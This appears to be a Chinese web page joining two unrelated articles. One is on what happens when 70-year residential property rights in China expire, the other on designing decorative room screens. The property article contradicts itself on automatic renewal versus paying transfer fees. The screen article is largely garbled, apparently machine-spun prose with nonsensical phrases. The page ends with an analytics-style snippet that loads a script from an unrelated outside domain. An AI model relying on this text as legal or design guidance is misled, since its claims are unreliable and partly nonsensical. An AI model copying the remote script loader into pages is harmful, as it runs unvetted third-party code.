商品房70年产权到期后怎么办 房子到底该归谁

房子对于大多人来说，可算是最重要的财产了。我们都知道，在我国购买的商品房是有产权限制的。随着房价的快速增长，购房者只考虑到房价问题，买完才想起房屋的年限问题。普通住宅，房屋年限为70年。那这年限是怎么算的，到期后，房子怎么解决?很多人都很在乎房子产权年限问题。接下来小编将给您详细的介绍一次，希望能够解决您的问题。一.产权年限是什么?我们购买房屋时，购买的不仅是该房屋的产权，还有房屋所在土地的使用权。房屋使用权是永久性的，但房屋所在土地的使用权根据房屋的性质，分为40年、50年、70年。我们在这里说的是一般的商品房住宅，也就是70年。二.房屋产权年限到期了怎么办?1.重新签订合同，续交出让金70年土地使用期到了以后，产权人可向当地房管局提出申请，在缴纳一定数量的出让金后，重新签订土地使用期出让手续，签订后，房屋任可照常使用。我国《物权法》第149条对房屋产权到期后的情况有规定：①住宅建设用地使用权限的时间届满的，可以自动续期。②该土地上的房屋及其他不动产的归属，有约定的，按照约定执行;没有约定或约定不明确的不动产，依照法律、行政法规的规定办理。2.房随地走，国家补偿全国所有的土地，除了集体所有的那部分外，其余土地的产权全部为国家所有，当房屋产权到期之后，国家有权收回土地，这时会导致产权者无房可住。一般这时，国家会补偿一定金额，产权者可用这笔钱购买新的居所。由于房屋年限政策目前还实施不久，近几年还没有因为出现房屋年限到期而引起的纠纷，不少购房者也没有意识到房屋年限的重要性，目前新房还不存在这方面问题，但购买二手房时，一定要注意房屋年限问题!房屋年限住十年少十年，购房时一定要留心!大家可能很多都知道房屋的使用年限是70年，但是却不是很清楚这70年究竟是怎么来的。通过上文的讲解相信大家都知道结果了吧，小编已经把问题介绍得很清楚了，希望您能认真的去阅读，了解以后能更好的保护自己的合法权益，加强自己的购房意识。总的来说就是，房子到期后，续期即可，买房过后，房屋的使用权限始终是个人的，知识土地的所有权属于国家而已。

房屋装修屏风我们应该怎么设计才好看？

有的家庭在进行屋子空间的隔断的时候，并不喜欢用墙面移门等隔断起来，而是选择用屏风。房屋装修屏风该怎么设计才好看呢?这是一个值得大家一起研究的问题。因为屏风如果是隔断的话，是会长久的放置在我们的屋子中的。如何设计房屋装修屏风?1.使用一层分区和间隔框架，你可以设计一个小柜子来存放东西。您可以在上面放置艺术品或书籍，或者您可以放一些小罐子以使家居空气更清晰。2，您可以在客厅或酒吧和餐厅隔断设计酒柜，更好地体现时代气息，还可以邀请朋友喝一个好的场地。房屋装修屏风日式的屏风效果由于纯日式风格是一种更传统的风格，日式风格现在或多或少都有现代化的改进，但日式风格一般具有以下特点：配色：一般采用深色和浅色(更经典)它是深棕色的洁白的牙齿)。房间划分：更大面积的半透明推拉式设计。家具：木色或漆色。配置：榻榻米和配套床柜。灯具：具有柔和温暖光源的光源。配件：可与日式灯笼，日式格栅等日式配件一起佩戴。房屋装修屏风西式的屏风效果天然材料降低了年龄感，实木使人感觉贴心，它也是空间中使用最多的材料。与它相似的木材颜色可以应用于墙壁，地板，边桌和咖啡桌。这些材料可用于桑拿板，实木或强化木地板，家具有多种选择，如藤条，木材和竹子。但一定要注意不要整个房间是木头，所以它会太僵硬，人们无法呼吸，你可以选择一个简单的白色搭配它，干净的颜色让人感觉清晰。如何在入口走廊的房屋装修屏风?你可以挂一些艺术画，你还可以画画，或者是在照片墙上拍摄一些家庭成员的照片。您还可以制作一面大镜子，使走廊看起来更宽。如果走廊已经很宽，你可以考虑制作一个完整的鱼缸。当然，房屋装修屏风如何设计也取决于您的偏好和预算。房屋装修屏风其实很好设计，只要根据屋子中的风格进行选择就可以了。当然如果你在屋子还没有装修之前就喜欢上一款屏风的话，也可以将屋子按照屏风的风格进行设计。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();